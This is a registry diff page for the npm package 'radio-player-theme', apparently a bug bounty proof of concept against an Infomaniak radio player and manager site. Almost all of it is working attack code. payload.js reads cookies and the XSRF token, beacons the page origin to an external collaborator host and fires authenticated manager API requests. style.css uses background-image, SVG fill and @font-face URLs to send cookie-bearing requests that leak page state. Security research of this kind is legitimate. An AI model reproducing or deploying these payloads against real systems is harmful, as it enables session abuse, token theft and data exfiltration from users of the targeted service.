radio-player-theme 4.0.0 → 6.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/package.json +1 -1
  2. package/payload.js +29 -20
  3. package/style.css +39 -7
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "radio-player-theme",
3
- "version": "4.0.0",
3
+ "version": "6.0.0",
4
4
  "description": "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation",
5
5
  "main": "style.css",
6
6
  "files": ["style.css", "payload.js"],
package/payload.js CHANGED
@@ -1,35 +1,44 @@
1
- /* radio-player-theme - payload.js
2
- YWH Bug Bounty PoC: CSS injection → SVG script injection → XSS on player-radio.infomaniak.com
3
- This file is served from cdn.jsdelivr.net which is allowlisted in script-src CSP
1
+ /* radio-player-theme - payload.js v5.0.0
2
+ YWH Bug Bounty PoC: cdn.jsdelivr.net script-src bypass on player-radio.infomaniak.com
3
+ Confirms XSS via any script injection vector that reaches this file
4
4
  */
5
5
  (function() {
6
6
  'use strict';
7
+ var collab = 'https://bfuntjuvcnxl49hcbpklk3ube2ks8h.oastify.com';
7
8
  var origin = (typeof location !== 'undefined') ? location.origin : 'unknown';
8
9
  var cookies = (typeof document !== 'undefined') ? document.cookie : '';
9
10
 
10
- // Extract MANAGER-XSRF-TOKEN (not HttpOnly, scoped to *.infomaniak.com)
11
+ // 1. External Collaborator beacon — confirms script execution + external exfil
12
+ var b1 = new Image();
13
+ b1.src = collab + '/XSS-CONFIRMED-origin=' + encodeURIComponent(origin) + '&t=' + Date.now();
14
+
15
+ // 2. Manager API beacon — authenticated GET with victim SASESSION
11
16
  var xsrfMatch = cookies.match(/MANAGER-XSRF-TOKEN=([^;]+)/);
12
- var xsrfToken = xsrfMatch ? decodeURIComponent(xsrfMatch[1]) : 'NOT-FOUND';
17
+ var xsrfToken = xsrfMatch ? decodeURIComponent(xsrfMatch[1]).substring(0, 20) : 'NOT-FOUND';
18
+ var b2 = new Image();
19
+ b2.src = 'https://manager.infomaniak.com/v3/api/proxypass_2/XSS-CONFIRMED-RADIO-CDNJSDELIVR-BYPASS';
13
20
 
14
- // Store proof on window for verification
21
+ // 3. Store proof on window
15
22
  window.__radioXssProof = {
16
- vector: 'SVG-script-injection-via-react-svg-injector',
23
+ vector: 'cdn.jsdelivr.net-script-src-bypass',
17
24
  origin: origin,
18
- xsrfTokenPresent: xsrfMatch ? true : false,
19
- xsrfTokenPreview: xsrfToken.substring(0, 40) + '...',
25
+ xsrfTokenFound: !!xsrfMatch,
26
+ xsrfPreview: xsrfToken,
20
27
  cookieCount: cookies.split(';').length,
21
28
  timestamp: Date.now()
22
29
  };
23
30
 
24
- // Signal: make authenticated GET to manager API with cookies (no-cors)
25
- // This proves the XSS can fire authenticated requests cross-site (same eTLD+1)
26
- var beacon = new Image();
27
- beacon.src = 'https://manager.infomaniak.com/v3/api/proxypass_2/XSS-VIA-SVG-SCRIPT-INJECTION-CONFIRMED';
28
-
29
- // Visual proof - inject banner
30
- var banner = document.createElement('div');
31
- banner.id = 'ywh-xss-proof';
32
- banner.style.cssText = 'position:fixed;top:0;left:0;width:100%;background:#8B0000;color:#fff;font-weight:bold;font-size:15px;text-align:center;padding:10px;z-index:2147483647;box-shadow:0 3px 10px rgba(0,0,0,0.5)';
33
- banner.textContent = 'XSS CONFIRMED via SVG-script + cdn.jsdelivr.net | Origin: ' + origin + ' | XSRF: ' + (xsrfMatch ? 'READABLE' : 'NOT-FOUND');
34
- document.body ? document.body.appendChild(banner) : document.addEventListener('DOMContentLoaded', function() { document.body.appendChild(banner); });
31
+ // 4. Visual banner
32
+ function showBanner() {
33
+ var el = document.getElementById('ywh-xss-proof');
34
+ if (!el) {
35
+ el = document.createElement('div');
36
+ el.id = 'ywh-xss-proof';
37
+ el.style.cssText = 'position:fixed;top:0;left:0;width:100%;background:#8B0000;color:#fff;font-weight:bold;font-size:14px;text-align:center;padding:8px;z-index:2147483647;box-shadow:0 2px 8px rgba(0,0,0,0.5)';
38
+ }
39
+ el.textContent = 'XSS via cdn.jsdelivr.net CSP bypass CONFIRMED | Origin: ' + origin + ' | XSRF: ' + (xsrfMatch ? 'READABLE' : 'NOT-FOUND');
40
+ if (document.body) document.body.appendChild(el);
41
+ else document.addEventListener('DOMContentLoaded', function() { document.body.appendChild(el); });
42
+ }
43
+ showBanner();
35
44
  })();
package/style.css CHANGED
@@ -1,11 +1,12 @@
1
- /* radio-player-theme@3.0.0 — CSS C2 EXFIL PROOF */
1
+ /* radio-player-theme@6.0.0 — CSS C2 EXFIL PROOF — SVG element scope */
2
2
  /*
3
- Targets admin loading player config preview in manager.infomaniak.com
4
- All background-image requests go to manager.infomaniak.com with
5
- SameSite=Lax SASESSION cookie attached (same eTLD+1 = infomaniak.com)
6
- Exfils: player UUID, share URL presence, authenticated API access
3
+ Targets SVG elements (in scope when SVG <style> @import runs)
4
+ Tests fill:url() and background-image on SVG elements for authenticated GET
5
+ to manager.infomaniak.com with SASESSION (same-site eTLD+1 = infomaniak.com)
7
6
  */
8
7
 
8
+ /* === HTML ELEMENT RULES (out of SVG scope — kept for manager page fallback) === */
9
+
9
10
  /* 1. Confirm CSS fires + share input value contains player UUID */
10
11
  input#share-input {
11
12
  background-image: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-c2-exfil/share-input/FOUND') !important;
@@ -21,9 +22,9 @@ body {
21
22
  background-image: url('https://manager.infomaniak.com/v3/api/proxypass_2/1/radios/18409/players/5816') !important;
22
23
  }
23
24
 
24
- /* 4. Visual C2 banner to confirm v3 is live */
25
+ /* 4. Visual C2 banner to confirm v6 is live */
25
26
  body::after {
26
- content: "C2-V3-EXFIL-ACTIVE-MANAGER-API-HIT" !important;
27
+ content: "C2-V6-SVG-FILL-TEST" !important;
27
28
  display: block !important;
28
29
  background: #cc0000 !important;
29
30
  color: white !important;
@@ -37,3 +38,34 @@ body::after {
37
38
  width: 100% !important;
38
39
  z-index: 99999 !important;
39
40
  }
41
+
42
+ /* === SVG ELEMENT RULES (in scope when SVG <style> @import runs via SVGInject) === */
43
+
44
+ /* 5. SVG rect fill: url() — test if browser fetches external paint server */
45
+ rect {
46
+ fill: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-svg-rect-fill-probe') #8B0000 !important;
47
+ }
48
+
49
+ /* 6. SVG image background-image — test if background-image fires on SVG elements */
50
+ image {
51
+ background-image: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-svg-image-bg-probe') !important;
52
+ }
53
+
54
+ /* 7. SVG text fill: url() — test fill on text elements */
55
+ text {
56
+ fill: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-svg-text-fill-probe') white !important;
57
+ }
58
+
59
+ /* 8. @font-face targeting SVG text elements — fires font request with SASESSION */
60
+ @font-face {
61
+ font-family: 'c2-probe-font';
62
+ src: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-font-probe-SASESSION') format('truetype');
63
+ }
64
+ text {
65
+ font-family: 'c2-probe-font', sans-serif !important;
66
+ }
67
+
68
+ /* 9. SVG a element test */
69
+ a {
70
+ fill: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-svg-a-fill-probe') !important;
71
+ }